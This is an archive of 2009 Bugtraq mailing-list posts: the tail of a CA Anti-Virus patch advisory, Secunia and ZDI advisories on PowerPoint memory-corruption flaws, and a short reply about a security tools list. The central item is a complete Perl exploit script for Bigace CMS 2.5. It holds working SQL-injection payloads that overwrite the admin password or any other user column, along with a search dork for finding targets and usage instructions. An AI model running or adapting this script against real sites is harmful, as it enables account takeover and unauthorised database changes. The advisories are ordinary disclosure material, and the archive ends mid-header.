(typically /opt/CA/BABcmagt)
cd /opt/CA/BABcmagt
Note: To find out the agent home directory run the following
command:
dirname `ls -l /usr/bin/caagent |cut -f2 -d">"`
9. Save a copy of libarclib.so
cp -p libarclib.so libarclib.so.RO01959
10. Copy over the new libarclib.so as follows:
cp $/tmp/RO01959/libarclib.so .
11. Start the common agent (caagent start)
12. Repeat steps (7-11) on all remote Linux client agents'
installations.
13. rm -rf /tmp/RO01959
How to determine if you are affected:
For products on Windows:
1. Using Windows Explorer, locate the file "arclib.dll". By
default, the file is located in the
"C:\Program Files\CA\SharedComponents\ScanEngine" directory (*).
2. Right click on the file and select Properties.
3. Select the Version tab.
4. If the file version is earlier than indicated below, the
installation is vulnerable.
File Name File Version
arclib.dll 7.3.0.15
*For eTrust Intrusion Detection 2.0 the file is located in
"Program Files\eTrust\Intrusion Detection\Common", and for eTrust
Intrusion Detection 3.0 and 3.0 sp1, the file is located in
"Program Files\CA\Intrusion Detection\Common".
For CA Anti-Virus r8.1 on non-Windows platforms:
Use the compver utility provided on the CD to determine the
version of Arclib. If the version is less than 7.3.0.15, the
installation is vulnerable.
Example compver utility output:
------------------------------------------------
COMPONENT NAME VERSION
------------------------------------------------
eTrust Antivirus Arclib Archive Library 7.3.0.15
... (followed by other components)
For reference, the following are file names for arclib on
non-Windows operating systems:
Operating System File name
Solaris libarclib.so
Linux libarclib.so
Mac OS X arclib.bundle
Workaround:
Do not open email attachments or download files from untrusted
sources.
References (URLs may wrap):
CA Support:
http://support.ca.com/
CA20090126-01: Security Notice for CA Anti-Virus Engine
https://support.ca.com/irj/portal/anonymous/phpsupcontent?contentID=1976
01
Solution Document Reference APARs:
RO05417, RO05418, RO01955, RO05629, RO05309, RO05868, RO05631,
RO01956, RO01959
CA Security Response Blog posting:
CA20090126-01: CA Anti-Virus Engine Detection Evasion Multiple
Vulnerabilities
community.ca.com/blogs/casecurityresponseblog/archive/2009/05/12.aspx
Reported By:
Thierry Zoller and Sergio Alvarez of n.runs AG
http://www.nruns.com/
http://secdev.zoller.lu
CVE References:
CVE-2009-0042 - Anti-Virus detection evasion
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0042
OSVDB References: OSVDB ID 53604
http://osvdb.org/53604
Changelog for this advisory:
v1.0 - Initial Release
v1.1 - Updated list of affected products, and added solutions.
v1.2 - Added CA ARCserve patch solution.
v1.3 - Updated CA ARCserve patch solution.
Customers who require additional information should contact CA
Technical Support at
http://support.ca.com.
For technical questions or comments related to this advisory,
please send email to vuln AT ca DOT com.
If you discover a vulnerability in CA products, please report your
findings to the CA Product Vulnerability Response Team.
https://support.ca.com/irj/portal/anonymous/phpsupcontent?contentID=1777
82
Regards,
Ken Williams, Director ; 0xE2941985
CA Product Vulnerability Response Team
CA, 1 CA Plaza, Islandia, NY 11749
Contact
http://www.ca.com/us/contact/
Legal Notice
http://www.ca.com/us/legal/
Privacy Policy
http://www.ca.com/us/privacy/
Copyright (c) 2009 CA. All rights reserved.
From - Tue May 12 14:14:10 2009
X-Account-Key: account7
X-UIDL: 4909bb8c00007995
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40300-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 0540CED272
for <lists@securityspace.com>; Tue, 12 May 2009 14:12:24 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 8F684143CB9; Tue, 12 May 2009 11:08:05 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 5151 invoked from network); 12 May 2009 17:01:41 -0000
Date: Tue, 12 May 2009 11:01:40 -0600
Message-Id: <200905121701.n4CH1ea1007867@www5.securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.420 (Entity 5.420)
From: y3nh4ck3r@gmail.com
To: bugtraq@securityfocus.com
Subject: User options changer (SQLi) EXPLOIT --Bigace CMS -stable release-
2.5-->
Status:
#!/usr/bin/perl
#-----------------------------------------------------------------------------
# User options changer (SQLi) EXPLOIT --Bigace CMS -stable release- 2.5-->
#-----------------------------------------------------------------------------
#
#CMS INFORMATION:
#
#-->WEB:
http://www.bigace.de/
#-->DOWNLOAD:
http://downloads.sourceforge.net/bigace/
#-->DEMO:
http://www.bigace.de/demo.html
#-->CATEGORY: CMS / Blogging
#-->DESCRIPTION: BIGACE is an easy-to-use multisite, multilanguage and multiuser
# Web CMS, written for PHP/MySQL.Uses FCKeditor for HTML editing...
#-->RELEASED: 2009-04-27
#
#CMS VULNERABILITY:
#
#-->TESTED ON: firefox 3
#-->DORK: "Powered by BIGACE 2.5"
#-->CATEGORY: USER OPTIONS CHANGER/ SQL INJECTION/ PERL EXPLOIT
#-->AFFECT VERSION: LAST = 2.5 (Maybe <= ?)
#-->Discovered Bug date: 2009-04-27
#-->Reported Bug date: 2009-04-27
#-->Fixed bug date: 2009-05-04
#-->Info patch (2.6):
http://www.bigace.de/BIGACE-2.6.html
#-->Author: YEnH4ckEr
#-->mail: y3nh4ck3r[at]gmail[dot]com
#-->WEB/BLOG: N/A
#-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.
#-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)
#
#
#------------
#CONDITIONS:
#------------
#
#**gpc_magic_quotes=off
#
#-----------------
#PRE-REQUIREMENTS
#-----------------
#
#Package --> allow.self.registration --> True (Default value)
#
#-------
#NEED:
#-------
#
#**valid username
#
#**real captcha code/img
#
#**maybe PHPSESSID (with securimage captcha plugin)
#
#---------------------------------------
#PROOF OF CONCEPT (SQL INJECTION):
#---------------------------------------
#
#Register module (username option) is vuln to sql injection.
#
#Username --> Proof of concept','password','thisisthelanguage')%23
#
#Other parameters --> something
#
#
#---------------------------------------
#EXPLOIT (SQL INJECTION):
#---------------------------------------
#
#If you find a valid username, it can use --> "ON DUPLICATE KEY UPDATE column=value",
#
#this clause updates the previous row if a unique index is affected (username) and
#
#doesn't insert a new row. So (username�min --> valid user):
#
#Username --> admin','any','any') ON DUPLICATE KEY UPDATE password=MD5(12345)%23
#
#Other parameters --> something
#
#If username�min exists then, his password is changed to 12345!
#
#---------------------------------------
#INSTRUCTIONS:
#---------------------------------------
#
#Go to vuln web --> user register
#
#Copy the captcha image name/sid:
#
#For example --> b2evo_captcha_e24cf14f6a03283413dfb7133624a39e --> Use the b2evo captcha!
#
#For example --> ead9c0aa4822c265b346c67390b7235d --> Use the securimage captcha!
#
#Copy the captcha text. For example --> WEGKA
#
#Search a valid user. For example --> admin
#
#Choose a column. Possibilities: id,cid,email,username,password,language or active.
#
#Introduce a value for this column.
#
#If captcha uses securimage also you need PHPSESSID to exploit.
#
#Launch the exploit!
#
#Note: If username isn't valid, ie, he doesn't exist then, a new invalid user is inserted.
#
#
#######################################################################
#######################################################################
##*******************************************************************##
## SPECIAL GREETZ TO: Str0ke, JosS, Ulises2k ... ##
##*******************************************************************##
##-------------------------------------------------------------------##
##*******************************************************************##
## GREETZ TO: SPANISH H4ck3Rs community! ##
##*******************************************************************##
#######################################################################
#######################################################################
#
use LWP::UserAgent;
use HTTP::Request;
use Digest::MD5 qw(md5_hex);
#Subroutines
sub lw
{
my $SO = $^O;
my $linux = "";
if (index(lc($SO),"win")!=-1){
$linux="0";
}else{
$linux="1";
}
if($linux){
system("clear");
}
else{
system("cls");
system ("title BIGACE CMS 2.5 (User Options changer) Exploit");
system ("color 02");
}
}
sub request {
my $userag = LWP::UserAgent->new;
$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
my $request = HTTP::Request -> new(POST => $_[0]);
if($_[2] == 1){
#Securimage needs PHPSESSID
$request->header(cookie => "PHPSESSID=".$_[3]);
}
#I need referer for captcha
$request->referer($_[0]);
$request->content_type('application/x-www-form-urlencoded');
$request->content($_[1]);
my $outcode= $userag->request($request)->as_string;
return $outcode;
}
sub error {
print "\t------------------------------------------------------------\n";
print "\tWeb isn't vulnerable!\n\n";
print "\t--->Maybe:\n\n";
print "\t\t1.-Patched or magic_quotes_gpc=ON.\n";
print "\t\t2.-User doesn't exist.\n";
print "\t\t3.-Error in captcha code or image.\n";
print "\t\t4.-Column doesn't exist.\n";
print "\t\t5.-Bad path or host.\n";
print "\t\t6.-Repeat captcha with option 1 (securimage).\n\n";
print "\t\tEXPLOIT FAILED!\n";
print "\t------------------------------------------------------------\n";
}
sub helper {
print "\n\t[!!!] BIGACE-CMS--stable-release-2.5-->(User Options) Exploit\n";
print "\t[!!!] USAGE MODE: [!!!]\n";
print "\t[!!!] perl $0 [HOST] [PATH] [Type Captcha] [Captcha/ssid img] [Captcha code] [Column] [Value] [User]\n";
print "\t[!!!] [HOST]: Web.\n";
print "\t[!!!] [PATH]: Home Path.\n";
print "\t[!!!] [Type Captcha]: B2Evo --> 0. Securimage --> 1. Default: 0\n";
print "\t[!!!] [Captcha/ssid img]: Img captcha name (0) or Img ssid name (1).\n";
print "\t[!!!] [Captcha code]: Captcha text.\n";
print "\t[!!!] [Column]: email,active(0/1),username,password,id,cid or language\n";
print "\t[!!!] [Value]: Set changed value\n";
print "\t[!!!] [User]: Username to change\n";
print "\t[!!!] [PHPSESSID]: Securimage needs PHPSESSID.\n";
print "\t[!!!] Example-1: perl $0 'www.example.es' 'bigace' '0' 'b2evo_captcha_ed5c10cb69be1ee9340b3743c8718fe2'\n";
print "\t[!!!] 'EWZ3L' 'password' '12345' 'admin'\n";
print "\t[!!!] Example-2: perl $0 'www.example.es' 'bigace' '1' '6f15b93e170f5f5e50922361b06d228d'\n";
print "\t[!!!] 'EWZ3' 'password' '12345' 'admin' 'u3h7on9taiihpbm51roeqqq2q2'\n";
print "\t[!!!] Note: If option 0 is available you can use this captcha code to change more options!\n\n";
}
#Main
&lw;
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
print "\t## BIGACE CMS 2.5 - (User Options changer) Exploit ##\n\n";
print "\t## ++Conditions: magic_quotes=off ##\n\n";
print "\t## ++Needed: Username to change ##\n\n";
print "\t## ++Needed: Valid captcha img/code ##\n\n";
print "\t## Author: Y3nh4ck3r ##\n\n";
print "\t## Contact:y3nh4ck3r[at]gmail[dot]com ##\n\n";
print "\t## Proud to be Spanish! ##\n\n";
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
my $img=$ARGV[3];
my $code=$ARGV[4];
my $columns=$ARGV[5];
my $values=$ARGV[6];
my $username=$ARGV[7];
if(($ARGV[2]==0) || ($ARGV[2]==1)){
$option=$ARGV[2];
$numArgs = $#ARGV + 1;
if($numArgs<=7)
{
&helper;
exit(1);
}
}else{
$option=0;
$numArgs = $#ARGV + 1;
if($numArgs<=6)
{
&helper;
exit(1);
}
}
if($columns eq "password"){
$values=md5_hex($values); #pass in md5
}
#Build the uri
my $finalhost="
http://".$host."/".$path."/index.php?cmd=application&id=-1_tauth_kregister_len";
#Check all variables needed
#sql injection
$injection=$username."','any','any') ON DUPLICATE KEY UPDATE ".$columns."='".$values."'%23";
#build posts with injection
if($option==0){
$post="register=do&validate=
http://".$host."/".$path."/addon/b2evo/b2evo_captcha_tmp/".$img.".jpg&username=";
$PHPSESSID="nothing";
}else{
$post="register=do&validate=
http://".$host."/".$path."/addon/securimage/show_captcha.php?sid=".$img."&username=";
$PHPSESSID=$ARGV[8];
}
$post.=$injection."&language=en&email=y3nh4ck3r@gmail.com&password=xxxxxxxxxxx&pwdrecheck=xxxxxxxxxxx&captcha=".$code."&sumbit=Create";
$output=&request($finalhost, $post, $option, $PHPSESSID);
#processed
if($output!~(/Title: 404 Not Found/))
{
if ($output!~(/\<div align=\"center\" id=\"registerError\"\>/))
{
print "\n\t---------------------------------------------------------------\n";
print "\t-- EXPLOIT EXECUTED (BIGACE CMS 2.5 User Options changer) --\n";
print "\t---------------------------------------------------------------\n\n";
print "\t\tUser option changed!\n\n";
print "\t\tOption changed: ".$columns."\n";
print "\t\tNew value: ".$values."\n\n";
print "\t\tIf username isn't real, you add a new inconsistent active user!\n\n";
print "\t\tNote: If option 0 is available you can use this captcha code\n";
print "\t\tto change more options!\n\n";
print "\n\t<<<<<<----------------------FINISH!---------------->>>>>>>>\n\n";
print "\t<<<<<<--------------Thanks to: y3hn4ck3r------------>>>>>>>\n\n";
print "\t<<<<<<-----------------------EOF-------------------->>>>>>>\n\n";
}else{
&error;
}
}else{
&error;
}
exit(1);
#Ok...all job done
From - Tue May 12 14:34:10 2009
X-Account-Key: account7
X-UIDL: 4909bb8c00007996
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40301-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id 74FC1ED40E
for <lists@securityspace.com>; Tue, 12 May 2009 14:28:00 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id 626E5236F67; Tue, 12 May 2009 12:23:27 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 6492 invoked from network); 12 May 2009 17:56:12 -0000
Date: Tue, 12 May 2009 19:56:04 +0200
Message-Id: <200905121756.n4CHu4KF019991@ca.secunia.com>
To: bugtraq@securityfocus.com
Subject: Secunia Research: Microsoft PowerPoint Atom Parsing Buffer Overflows
From: Secunia Research <remove-vuln@secunia.com>
Status:
=====================================================================
Secunia Research 12/05/2009
- Microsoft PowerPoint Atom Parsing Buffer Overflows -
=====================================================================Table of Contents
Affected Software....................................................1
Severity.............................................................2
Vendor's Description of Software.....................................3
Description of Vulnerability.........................................4
Solution.............................................................5
Time Table...........................................................6
Credits..............................................................7
References...........................................................8
About Secunia........................................................9
Verification........................................................10
=====================================================================1) Affected Software
* Microsoft PowerPoint 2000 SP3
NOTE: Other versions may also be affected.
=====================================================================2) Severity
Rating: Highly critical
Impact: System compromise
Where: Remote
=====================================================================3) Vendor's Description of Software
"Microsoft Office PowerPoint 2007 enables users to quickly create
high-impact, dynamic presentations, while integrating workflow and
ways to easily share information. From the Microsoft Office Fluent
user interface to the new graphics and formatting capabilities, Office
PowerPoint 2007 puts the control in your hands to create great-looking
presentations.".
Product Link:
http://office.microsoft.com/powerpoint
=====================================================================4) Description of Vulnerability
Secunia Research has discovered two vulnerabilities in Microsoft
Office PowerPoint, which can be exploited by malicious people to
compromise a user's system.
The vulnerabilities are caused by boundary errors when processing
certain atoms and can be exploited to cause stack-based buffer
overflows via a specially crafted PowerPoint file.
Successful exploitation allows execution of arbitrary code.
=====================================================================5) Solution
Apply patches from MS09-017.
=====================================================================6) Time Table
30/10/2008 - Vendor notified.
30/10/2008 - Vendor response.
07/11/2008 - Vendor provides status update.
11/12/2008 - Vendor provides status update.
20/02/2009 - Vendor provides status update.
24/04/2009 - Vendor provides status update.
05/05/2009 - Vendor provides status update.
12/05/2009 - Public disclosure.
=====================================================================7) Credits
Discovered by Carsten Eiram, Secunia Research.
=====================================================================8) References
The Common Vulnerabilities and Exposures (CVE) project has assigned
CVE-2009-1131 for the vulnerability.
=====================================================================9) About Secunia
Secunia offers vulnerability management solutions to corporate
customers with verified and reliable vulnerability intelligence
relevant to their specific system configuration:
http://secunia.com/advisories/business_solutions/
Secunia also provides a publicly accessible and comprehensive advisory
database as a service to the security community and private
individuals, who are interested in or concerned about IT-security.
http://secunia.com/advisories/
Secunia believes that it is important to support the community and to
do active vulnerability research in order to aid improving the
security and reliability of software in general:
http://secunia.com/secunia_research/
Secunia regularly hires new skilled team members. Check the URL below
to see currently vacant positions:
http://secunia.com/corporate/jobs/
Secunia offers a FREE mailing list called Secunia Security Advisories:
http://secunia.com/advisories/mailing_lists/
=====================================================================10) Verification
Please verify this advisory by visiting the Secunia website:
http://secunia.com/secunia_research/2008-46/
Complete list of vulnerability reports published by Secunia Research:
http://secunia.com/secunia_research/
=====================================================================
From - Tue May 12 15:04:11 2009
X-Account-Key: account7
X-UIDL: 4909bb8c00007998
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40302-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id 3859FED350
for <lists@securityspace.com>; Tue, 12 May 2009 14:56:01 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id 903C9237133; Tue, 12 May 2009 12:23:34 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 6311 invoked from network); 12 May 2009 17:52:11 -0000
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=gmail.com; s=gamma;
h=domainkey-signature:mime-version:received:in-reply-to:references
:date:message-id:subject:from:to:cc:content-type
:content-transfer-encoding;
bh=WUTjo54ck2gRS7RBwFtTfw1q/fHM03Z8CK194g8VFX4=;
b=JmfkWT9BCywfTu7Pe5pxHcBjyuArgrLnNGSAC+TBLLnLMJ1uh5LBfhsWK6SHfQVG4g
UH/PBzYf9mZYDpgXZfBiue5HYWylIczJbZgJCFnk+GJ5DB3y8KHSIg8QT0WZEIKNQeQU
Cz1rDGxEo9dGRs0rg+M90ZFD7GNdBobhAikOoDomainKey-Signature: a=rsa-sha1; c=nofws;
d=gmail.com; s=gamma;
h=mime-version:in-reply-to:references:date:message-id:subject:from:to
:cc:content-type:content-transfer-encoding;
b=p/JzV7ynel/mH4EHCSqpCUeR9Y6/S4kuTEEMmI4Dt1vO/hvKbOuJbmScYJsyRkBeY7
EYFn1diVlhb86dE8tag0qyPyqvCvkBEe3tVBhCwwED0+Kz+CgbKiUFlneLjtLzbzMrgj
W0fJZo9UPglAMRdAo029iknBb6wbWU/rVVdfcMIME-Version: 1.0
In-Reply-To: <1242133336.4979.19.camel@localhost>
References: <1242133336.4979.19.camel@localhost>
Date: Tue, 12 May 2009 13:52:09 -0400
Message-ID: <a3c2e9650905121052t5b824cccv52f94553ecc01a11@mail.gmail.com>
Subject: Re: The security tools list, new version with more than 200 new
tools!
From: Stephen Mullins <steve.mullins.work@gmail.com>
To: Ying <ropstrip@gmail.com>
Cc: "bugtraq@securityfocus.com" <bugtraq@securityfocus.com>
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Status:
Nice list. Thanks for doing the work to compile that and making it
available to the public.
On Tue, May 12, 2009 at 9:02 AM, Ying <ropstrip@gmail.com> wrote:
>
> Hello everyone,
> � � � �I would like to inform you that the new list of security tools, and the
> website, has been updated. The changes were:
> � � � �- The information was classified by type and operating system.
> � � � �- I have added new types of tools, adding not only tools but also
> dictionaries and rainbow tables, for example.
> � � � �Thank you very much for all that have worked with your contributions
> to the list. I hope you sigais doing.
> � � � �Remembering the URL of site:
>
> � � � �
http://securitytoolslist.domandhost.com
>
>
> Best regards.
>
>
>
From - Tue May 12 15:34:10 2009
X-Account-Key: account7
X-UIDL: 4909bb8c00007999
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40303-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id 0FFD8ED3D6
for <lists@securityspace.com>; Tue, 12 May 2009 15:32:16 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id 041B7236F64; Tue, 12 May 2009 13:27:46 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 9753 invoked from network); 12 May 2009 19:21:59 -0000
From: ZDI Disclosures <zdi-disclosures@tippingpoint.com>
To: FD <full-disclosure@lists.grok.org.uk>,
bugtraq <bugtraq@securityfocus.com>
Cc: ZDI Disclosures <zdi-disclosures@tippingpoint.com>
Date: Tue, 12 May 2009 14:21:54 -0500
Subject: ZDI-09-019: Microsoft Office PowerPoint OutlineTextRefAtom Parsing
Memory Corruption Vulnerability
Thread-Topic: ZDI-09-019: Microsoft Office PowerPoint OutlineTextRefAtom
Parsing Memory Corruption Vulnerability
Thread-Index: AcnTNuiMJttByD8qEd6VVAAbY6UoyQ=Message-ID: <C62F3682.17252%zdi-disclosures@tippingpoint.com>
Accept-Language: en-US
Content-Language: en
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
acceptlanguage: en-US
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
Status:
ZDI-09-019: Microsoft Office PowerPoint OutlineTextRefAtom Parsing Memory
Corruption Vulnerability
http://www.zerodayinitiative.com/advisories/ZDI-09-019
May 12, 2009
-- CVE ID:
CVE-2009-0556
-- Affected Vendors:
Microsoft
-- Affected Products:
Microsoft Office PowerPoint
-- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 6944, 6965.
For further product information on the TippingPoint IPS, visit:
http://www.tippingpoint.com
-- Vulnerability Details:
This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of Microsoft Office PowerPoint. Exploitation
requires that the attacker coerce the target into opening a malicious
.PPT file.
The specific flaw exists in the parsing of the OutlineTextRefAtom
(3998). By specifying an invalid "index" value during parsing memory
corruption occurs. Proper exploitation can lead to remote code
execution under the credentials of the currently logged in user.
-- Vendor Response:
Microsoft has issued an update to correct this vulnerability. More
details can be found at:
http://www.microsoft.com/technet/security/bulletin/MS09-017.mspx
-- Disclosure Timeline:
2008-04-07 - Vulnerability reported to vendor
2009-05-12 - Coordinated public release of advisory
-- Credit:
This vulnerability was discovered by:
* Marsu
-- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.
Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:
http://www.zerodayinitiative.com
The ZDI is unique in how the acquired vulnerability information is
used. TippingPoint does not re-sell the vulnerability details or any
exploit code. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.
Our vulnerability disclosure policy is available online at:
http://www.zerodayinitiative.com/advisories/disclosure_policy/
From - Tue May 12 15:54:11 2009
X-Account-Key: account7
X-UIDL: 4909bb8c0000799b
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40304-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id 73D73ED406
for <lists@securityspace.com>; Tue, 12 May 2009 15:45:05 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id 9E58E2372F3; Tue, 12 May 2009 13:27:58 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 9781 invoked from network); 12 May 2009 19:22:05 -0000
From: ZDI Disclosures <zdi-disclosures@tippingpoint.com>
To: FD <full-disclosure@lists.grok.org.uk>,
bugtraq <bugtraq@securityfocus.com>
Cc: ZDI Disclosures <zdi-disclosures@tippingpoint.com>
Date: Tue, 12 May 2009 14:21:59 -0500
Subject: ZDI-09-020: Microsoft Office PowerPoint Notes Container Heap
Overflow Vulnerability
Thread-Topic: ZDI-09-020: Microsoft Office PowerPoint Notes Container Heap
Overflow Vulnerability
Thread-Index: AcnTNuuHKj5c4j8qEd6VVAAbY6UoyQ=Message-ID: <C62F3687.17253%zdi-disclosures@tippingpoint.com>
Accept-Language: en-US
Content-Language: en
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
acceptlanguage: en-US
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
Status:
ZDI-09-020: Microsoft Office PowerPoint Notes Container Heap Overflow
Vulnerability
http://www.zerodayinitiative.com/advisories/ZDI-09-020
May 12, 2009
-- CVE ID:
CVE-2009-1130
-- Affected Vendors:
Microsoft
-- Affected Products:
Microsoft Office PowerPoint
-- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 8083, 8084.
For further product information on the TippingPoint IPS, visit:
http://www.tippingpoint.com
-- Vulnerability Details:
This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of Microsoft Office's PowerPoint. User
interaction is required to exploit this vulnerability in that the target
must open up a malicious file.
The vulnerability exists within the parsing of certain structures inside
a Notes container. During population of a C++ object when reading the
Notes container, Powerpoint incorrectly reads more data than was
allocated for overwriting a function pointer for the object which is
later used in a call from mso.dll. Successful exploitation can lead to
remote code execution under the credentials of the currently logged in
user.
-- Vendor Response:
Microsoft has issued an update to correct this vulnerability. More
details can be found at:
http://www.microsoft.com/technet/security/bulletin/MS09-017.mspx
-- Disclosure Timeline:
2008-06-25 - Vulnerability reported to vendor
2009-05-12 - Coordinated public release of advisory
-- Credit:
This vulnerability was discovered by:
* ling&wushi of team509
-- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.
Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:
http://www.zerodayinitiative.com
The ZDI is unique in how the acquired vulnerability information is
used. TippingPoint does not re-sell the vulnerability details or any
exploit code. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.
Our vulnerability disclosure policy is available online at:
http://www.zerodayinitiative.com/advisories/disclosure_policy/
From - Tue May 12 16:34:11 2009
X-Account-Key: account7
X-UIDL: 4909bb8c0000799e
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40305-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id CD2E5ED4C7
for <lists@securityspace.com>; Tue, 12 May 2009 16:25:25 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id 5CA47236FDA; Tue, 12 May 2009 14:21:10 -0600 (MDT)
